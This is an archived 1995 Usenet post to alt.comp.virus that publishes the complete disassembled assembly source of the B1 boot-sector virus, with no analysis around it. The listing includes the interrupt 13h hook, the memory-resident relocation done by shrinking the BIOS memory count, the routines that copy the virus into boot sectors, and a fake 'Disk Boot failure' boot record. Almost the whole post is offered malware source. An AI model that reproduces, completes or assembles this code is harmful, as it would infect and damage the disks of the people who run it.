home *** CD-ROM | disk | FTP | other *** search
-
- Path: chaos.dac.neu.edu!usenet.eel.ufl.edu!news.bluesky.net!news.sprintlink.net!uunet!ankh.iia.org!danishm
-
- From: danishm@iia.org ()
-
- Newsgroups: alt.comp.virus
-
- Subject: B1
-
- Date: 5 Feb 1995 22:05:37 GMT
-
- Organization: International Internet Association.
-
- Lines: 330
-
- Message-ID: <3h3i3h$v4@ankh.iia.org>
-
- NNTP-Posting-Host: iia.org
-
- X-Newsreader: TIN [version 1.2 PL2]
-
-
-
- Here is the B1 virus:
-
-
-
-
-
- PAGE 59,132
-
- ; Disassembled using sourcer
-
- ;[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[
-
- ;[[ [[
-
- ;[[ B1 [[
-
- ;[[ [[
-
- ;[[ Created: 8-Jan-95 [[
-
- ;[[ Version: [[
-
- ;[[ Code type: zero start [[
-
- ;[[ Passes: 5 Analysis Options on: none [[
-
- ;[[ [[
-
- ;[[ [[
-
- ;[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[
-
-
-
- data_1e equ 413h ; (0000:0413=7Fh)
-
- data_2e equ 46Dh ; (0000:046D=17E1h)
-
- data_3e equ 4Ch ; (0006:004C=0DAh)
-
-
-
- seg_a segment byte public
-
- assume cs:seg_a, ds:seg_a
-
-
-
-
-
- org 0
-
-
-
- virus proc far
-
-
-
- start:
-
- jmp short loc_2 ; (0040)
-
- db 90h, 00h, 4Dh, 4Dh, 49h, 00h
-
- db 33h, 2Eh, 33h, 00h, 02h, 01h
-
- db 01h, 00h, 02h,0E0h, 00h, 40h
-
- db 0Bh,0F0h, 09h, 00h, 12h, 00h
-
- db 02h, 00h
-
- db 19 dup (0)
-
- db 12h, 00h, 00h, 00h, 00h, 01h
-
- db 00h,0FAh, 33h,0C0h, 8Eh,0D0h
-
- db 0BCh, 00h, 7Ch, 16h, 07h
-
- loc_2:
-
- push cs
-
- call sub_1 ; (00EF)
-
- push ax
-
- shr ax,1 ; Shift w/zeros fill
-
- dec ah
-
- jz loc_3 ; Jump if zero
-
- jmp loc_14 ; (01BA)
-
- loc_3:
-
- push bx
-
- push cx
-
- push dx
-
- push es
-
- push si
-
- push di
-
- push ds
-
- push bp
-
- mov bp,sp
-
- or ch,ch ; Zero ?
-
- jnz loc_5 ; Jump if not zero
-
- shl al,1 ; Shift w/zeros fill
-
- jc loc_4 ; Jump if carry Set
-
- call sub_6 ; (0190)
-
- call sub_4 ; (017B)
-
- jc loc_7 ; Jump if carry Set
-
- call sub_2 ; (0127)
-
- jz loc_4 ; Jump if zero
-
- call sub_6 ; (0190)
-
- call sub_3 ; (013B)
-
- jz loc_5 ; Jump if zero
-
- inc ah
-
- call sub_4 ; (017B)
-
- jc loc_5 ; Jump if carry Set
-
- call sub_5 ; (0182)
-
- call sub_6 ; (0190)
-
- inc ah
-
- call sub_4 ; (017B)
-
- loc_4:
-
- call sub_7 ; (019E)
-
- or ch,dh
-
- dec cx
-
- jnz loc_5 ; Jump if not zero
-
- call sub_6 ; (0190)
-
- call sub_4 ; (017B)
-
- jc loc_7 ; Jump if carry Set
-
- call sub_2 ; (0127)
-
- jnz loc_5 ; Jump if not zero
-
- call sub_7 ; (019E)
-
- call sub_3 ; (013B)
-
- dec byte ptr [bp+10h]
-
- jz loc_6 ; Jump if zero
-
- mov al,1
-
- call sub_4 ; (017B)
-
- jc loc_7 ; Jump if carry Set
-
- call sub_7 ; (019E)
-
- add bx,di
-
- inc cl
-
- jmp short loc_6 ; (00BA)
-
- loc_5:
-
- call sub_7 ; (019E)
-
- loc_6:
-
- call sub_4 ; (017B)
-
- loc_7:
-
- pushf ; Push flags
-
- pop bx
-
- mov [bp+16h],bx
-
- xchg ax,[bp+10h]
-
- shr ah,1 ; Shift w/zeros fill
-
- jnc loc_9 ; Jump if carry=0
-
- xor ax,ax ; Zero register
-
- mov ds,ax
-
- mov ax,ds:data_2e ; (0000:046D=17E1h)
-
- and ax,178Fh
-
- jnz loc_9 ; Jump if not zero
-
- call sub_6 ; (0190)
-
- loc_8:
-
- push ax
-
- call sub_4 ; (017B)
-
- xor cx,0FFC0h
-
- nop ;*ASM fixup - sign extn byte
-
- shl ax,1 ; Shift w/zeros fill
-
- pop ax
-
- jnc loc_8 ; Jump if carry=0
-
- loc_9:
-
- pop bp
-
- pop ds
-
- pop di
-
- pop si
-
- pop es
-
- pop dx
-
- pop cx
-
- pop bx
-
- pop ax
-
- iret ; Interrupt return
-
-
-
- virus endp
-
-
-
- ;__________________________________________________________________________
-
- ; SUBROUTINE
-
- ;\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
-
-
-
- sub_1 proc near
-
- mov bx,44h
-
- mov dx,80h
-
- mov si,data_1e ; (0000:0413=7Fh)
-
- xor di,di ; Zero register
-
- mov ds,di
-
- dec word ptr [si]
-
- lodsw ; String [si] to ax
-
- pop si
-
- mov cl,6
-
- shl ax,cl ; Shift w/zeros fill
-
- mov es,ax
-
- sub si,bx
-
- push si
-
- push ax
-
- mov ax,1AEh
-
- push ax
-
- push cs
-
- push si
-
- push cs
-
- pop ds
-
- call sub_5 ; (0182)
-
- mov ds,cx
-
- mov si,data_3e ; (0006:004C=0DAh)
-
- mov cl,2
-
- rep movsw ; Rep when cx >0 Mov [si] to es:[di]
-
- mov [si-4],bx
-
- mov [si-2],es
-
- pop bx
-
- pop es
-
- retf ; Return far
-
- sub_1 endp
-
-
-
-
-
- ;__________________________________________________________________________
-
- ; SUBROUTINE
-
- ;\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
-
-
-
- sub_2 proc near
-
- cld ; Clear direction
-
- push cs
-
- pop ds
-
- xor si,si ; Zero register
-
- mov di,bx
-
- mov cl,40h ; '@'
-
- push si
-
- push di
-
- add si,cx
-
- add di,cx
-
- repe cmpsb ; Rep zf=1+cx >0 Cmp [si] to es:[di]
-
- pop di
-
- pop si
-
- retn
-
- sub_2 endp
-
-
-
-
-
- ;__________________________________________________________________________
-
- ; SUBROUTINE
-
- ;\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
-
-
-
- sub_3 proc near
-
- push ax
-
- xor dh,dh ; Zero register
-
- test dl,80h
-
- jz loc_10 ; Jump if zero
-
- mov cx,11h
-
- jmp short loc_11 ; (0175)
-
- loc_10:
-
- mov ax,[di+11h]
-
- mov cl,4
-
- shr ax,cl ; Shift w/zeros fill
-
- mov cx,ax
-
- mov ax,[di+16h]
-
- shl ax,1 ; Shift w/zeros fill
-
- jc loc_12 ; Jump if carry Set
-
- add ax,cx
-
- jc loc_12 ; Jump if carry Set
-
- xor cx,cx ; Zero register
-
- cmp ah,[di+18h]
-
- jae loc_12 ; Jump if above or =
-
- div byte ptr [di+18h] ; al,ah rem = ax/data
-
- xchg cl,ah
-
- cmp ah,[di+1Ah]
-
- jae loc_12 ; Jump if above or =
-
- div byte ptr [di+1Ah] ; al,ah rem = ax/data
-
- mov ch,al
-
- mov dh,ah
-
- inc cx
-
- loc_11:
-
- pop ax
-
- retn
-
- loc_12:
-
- xor cx,cx ; Zero register
-
- jmp short loc_11 ; (0175)
-
- sub_3 endp
-
-
-
-
-
- ;__________________________________________________________________________
-
- ; SUBROUTINE
-
- ;\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
-
-
-
- sub_4 proc near
-
- pushf ; Push flags
-
- call dword ptr cs:[1BCh] ; (7379:01BC=0D79h)
-
- retn
-
- sub_4 endp
-
-
-
-
-
- ;__________________________________________________________________________
-
- ; SUBROUTINE
-
- ;\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
-
-
-
- sub_5 proc near
-
- cld ; Clear direction
-
- movsw ; Mov [si] to es:[di]
-
- mov cx,17Ch
-
- add si,3Eh
-
- add di,3Eh
-
- rep movsb ; Rep when cx >0 Mov [si] to es:[di]
-
- retn
-
- sub_5 endp
-
-
-
-
-
- ;__________________________________________________________________________
-
- ; SUBROUTINE
-
- ;\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
-
-
-
- sub_6 proc near
-
- push cs
-
- mov ax,200h
-
- mov bx,ax
-
- xor cx,cx ; Zero register
-
- xor dh,dh ; Zero register
-
- inc cx
-
- inc ax
-
- pop es
-
- retn
-
- sub_6 endp
-
-
-
-
-
- ;__________________________________________________________________________
-
- ; SUBROUTINE
-
- ;\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
-
-
-
- sub_7 proc near
-
- mov ax,[bp+10h]
-
- mov bx,[bp+0Eh]
-
- mov cx,[bp+0Ch]
-
- mov dx,[bp+0Ah]
-
- mov es,[bp+8]
-
- retn
-
- sub_7 endp
-
-
-
- db 41h ; Inc cx ?
-
- loc_13:
-
- mov ax,201h
-
- int 13h ; Disk dl=drive a ah=func 02h
-
- ; read sectors to memory es:bx
-
- xor dl,80h
-
- jz loc_13 ; Jump if zero
-
- retf ; Return far
-
- loc_14:
-
- pop ax
-
- ;* jmp far ptr loc_1 ;*(000A:0D79)
-
- db 0EAh, 79h, 0Dh, 0Ah, 00h
-
- db 0Dh, 0Ah, 'Disk Boot failure', 0Dh
-
- db 0Ah, 0
-
- db 'IBMBIO COMIBMDOS COM'
-
- db 18 dup (0)
-
- db 55h,0AAh
-
-
-
- seg_a ends
-
-
-
-
-
-
-
- end start
-
-
-
- ls virus.asm
-
-
-
-
-
-
-
- ls virus.asm
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- --
-
- Eric "Mad Dog" Kilby maddog@ccs.neu.edu
-
- The Great Sporkeus Maximus ekilby@lynx.dac.neu.edu
-
- Student at the Northeatstern University College of Computer Science
-
- "I Can't Believe It's Not Butter"
-
-
-
-